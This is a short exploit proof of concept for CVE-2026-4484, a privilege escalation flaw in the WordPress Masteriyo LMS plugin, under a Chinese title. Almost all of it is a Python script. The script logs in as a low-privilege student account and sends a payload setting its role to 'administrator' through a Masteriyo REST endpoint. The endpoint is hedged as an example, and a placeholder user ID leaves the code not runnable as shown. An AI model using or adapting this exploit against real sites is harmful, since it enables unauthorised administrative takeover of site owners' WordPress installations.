CVE-2026-4484 WordPress Masteriyo LMS权限提升漏洞

import requests # Target configuration target_url = "https://example.com" login_url = f"{target_url}/wp-login.php" api_url = f"{target_url}/wp-json/masteriyo/v1/instructors" # Example endpoint # Attacker credentials (low privilege) username = "student_user" password = "password123" # Create a session to persist cookies session = requests.Session() # 1. Authenticate to get a valid session/nonce data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": target_url } response = session.post(login_url, data=data) if response.status_code == 200: print("[+] Login successful") # 2. Exploit the Privilege Escalation # Payload attempting to update the user role to administrator # The specific endpoint might vary based on plugin version and configuration headers = { "Content-Type": "application/json" } # The vulnerability allows updating user role via prepare_object_for_database payload = { "role": "administrator", # Malicious parameter injection "user_id": <CURRENT_USER_ID> # If required, usually inferred from session } exploit_response = session.post(api_url, json=payload, headers=headers) if exploit_response.status_code == 200: print("[+] Exploit sent successfully. Check if privileges are elevated.") else: print(f"[-] Exploit failed with status code: {exploit_response.status_code}") else: print("[-] Login failed")